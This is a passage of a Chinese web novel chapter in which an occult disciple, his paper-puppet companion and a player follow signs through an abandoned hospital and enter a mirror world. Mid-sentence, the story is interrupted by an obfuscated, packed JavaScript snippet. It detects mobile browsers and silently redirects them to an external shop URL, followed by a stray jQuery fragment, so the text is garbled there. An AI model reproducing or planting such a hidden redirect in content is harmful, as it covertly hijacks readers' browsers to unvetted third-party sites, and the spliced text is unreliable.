戚零内心好一番纠结，终究还是背转过身去，小声要求：
“师兄，商量个事呗，借我个火。”
然而，早就在等待这种机会到来的齐时易，一反推销自己时的那副嘴脸，压根就不是什么好使唤的，还故意逗人：
“你刚才说什么？我没听清。”
戚零果断闭嘴，在徐览看不到的角度，用双指夹起白纸，赶紧快速地试了一次。
不出所料，又失败了。
“大师，发生什么事了吗？”
听到身后的不远处，徐览已经在往他这边走，想靠过来看个究竟。
戚零感觉他原本就不怎么厚的脸皮，这下是要彻底保不住了，抿紧双唇，恨恨磨了磨牙。
怒从心头起，恶向胆边生。
他干脆趁齐时易一时不备，用空闲的另外那只手，快准狠，一把拎起肩头的纸人，在空中疯狂地抖了抖。
—
戚零和齐时易俩人之间，在短短几秒内发生的事情，旁边的徐览对此毫无察觉。
等他走到跟前，转到戚零的正面，看到的就已经是他并拢竖起右手双指，指尖夹着正在燃烧的白纸的画面，一副稳重又可靠的样子。
戚零努力维持着自己作为玄学弟子，应有的形象包袱，端起一脸的高深莫测。
实际上，他左手中指指根的位置，此刻就有一圈有道行之人才能看到的、非常细小的牙印。
位置相当微妙，牙印很新，一看就是刚被咬出来的。
疼倒是不怎么疼，就是在他自己眼里看着都分外明显，甚至还隐隐泛着层黑气，昭示着十足的存在感。
戚零因此很困惑，明明本体是自己昨夜练习鬼道玄术时，亲手剪成的纸人，粗陋得连五官都不分明的那种，这究竟是哪里来的牙齿，又是从哪里来的牙印？
至于罪魁祸首，一直附身在纸人上的齐时易，动作迅速从戚零手中挣脱逃出后，又回到了他十分偏爱的、戚零右肩肩头的地方窝着。
他帮戚零点燃了白纸，一次性成功，展现出他的实际价值之后，反而变得更加得瑟。
如果仔细看还能看到，纸人那两条边缘剪得跟被狗啃过一样的小短腿，此时甚至惬意地翘起了二郎腿，还正摇摇晃晃的。
戚零一怒之下怒了一下，不过这个玄术，一旦能正常使出来，效果还是很不错的。
只见那白纸燃烧生成的烟袅袅上升，没有等多久，这烟飘起的方向就发生了偏移，指向非常明确。
戚零抓紧时间，向徐览挥手示意跟上，带头按照被指出来的方向跑去。
几人从医院最顶层下楼来到四层，白纸都快要烧完了，那烟又突然间失灵，恢复了原本自然飘散的方式。
而这恰恰说明，结界的端倪就在这层，他们找对了地方，需要重点搜寻的范围，就这样一下子被缩小许多。
有所进展，戚零精神大振，正准备在这一层展开地毯式搜索，耳边却隐约听到个声音。
他停下脚步，放轻呼吸，凝神去仔细辨别，发现是滴水声，滴答，滴答……速度不急不缓，无端让人联想到古时候的更漏计时。
明明之前也曾来过这层，却谁都没有发现这个，在寂静环境中相当突兀的声音。
戚零赶紧跑到走廊尽头，去看玻璃窗外的天色，顿时心下一惊。
他们踏进废弃医院结界的时间，原本是太阳高挂的正午，现在医院外面的天光，竟然已是黄昏，太阳就快要落山。
黄昏，逢魔时刻，这下谁都意识到了问题的严重性，不敢掉以轻心。
一行人有默契地放轻脚步，循着滴水声传来的方向，最终来到了某个位于走廊拐角处的洗手间。
洗手间的门口，洗手池的水龙头在漏水，正是声音的源头。
平平无奇的场景，滴水声仍在几人耳边回荡，却仿佛某种预兆。
戚零走上前，伸手要将水龙头拧紧，却在抬眼看进水池上方镜子里的那一瞬间，暂时住了手。
他从镜子里看到的，是与眼前所见截然不同的另一副画面：从水龙头里流出的，不是清水，而是浓稠的红色液体，颜色昏暗，快要蓄满整个水池，马上就会向外溢出……
三下五除二把水龙头关上，竟然没有作用。
几人耳边的滴水声并没有消失，镜子里的血水，仍在一滴滴落进水池里。
镜子才是关键！
戚零灵光一闪，拽起旁边还没反应过来的徐览的手臂，来不及说明解释，转身就往楼下冲刺而去。
刚才发现的那种种迹象，都带有很明显的时限含义。
此时此刻，戚零只想着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977563|214779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
赶时间，担心他们来不及赶在镜中那个血水池蓄满、窗外太阳落山之前，回到废弃医院的大厅位置。
徐览心里则在庆幸，这人还挺够意思的，没有把他直接扔下不管，同时他也看出时间紧张，不敢耽误一点。
唯有齐时易，他十分在意的事，却是戚零正拽着徐览胳膊的那只手。他看了又看，忍了又忍。
幸好全速前进的话，从四层返回一层并不需要多久，让某人打消了再搞些小动作的恶劣念头。
戚零带着徐览一路冲下楼，目标明确，直奔大厅中央正对门口的那面大镜子。
他的速度完全没有减慢，丝毫不犹豫，朝着布满蛛网般裂纹的镜面，闭上眼一头撞了进去。
恰在此时，窗外最后一缕阳光也彻底消失，这家废弃医院，在夜色下又恢复了它那只停留于表象的静谧。
—
果然，镜子这边的里世界，才是真实。
墙壁斑驳，多处角落都有反复渗水遭到侵蚀的痕迹，地上总能见到被人为打碎毁坏的医疗器械。
最引人注目的，当属那些随处可见的红，颜色深深浅浅，只能说明是在不同时期里残留下来的。
戚零卡着时限带人闯进来，连呼吸都还没平复，先被这镜中世界的景象震得心中一沉，也下意识松开了拽着徐览胳膊的那只手。
齐时易蹲在他肩头，突然凑到他耳边，冒出来一句：
“温馨提醒，就在这附近，有我同事来过的气息……”
他这话一出，戚零的心一下子坠到了谷底。
齐时易的同事？BOSS扮演部门的那帮人？那群没有最不正常，只有更不正常的深井冰？
他自己一个“半吊子”的玄门弟子，何德何能，这么早就在个人角色扮演的主线任务里，遇到这种难度的委托事件？
“你能知道你的同事现在在哪里吗？”
“很遗憾，并不能。”
戚零听了齐时易的回答，扭头就面向徐览，表情相当严肃认真，毕竟这名玩家是由于他自己贪图额外积分，被他刚刚一路硬拽进来的：
“我很抱歉，后续可能遇到的危险，超出了我原本的预计，能力实在有限，大概要顾不上你了……”
戚零尽力委婉，吞吞吐吐，越说声音越小，越来越底气不足。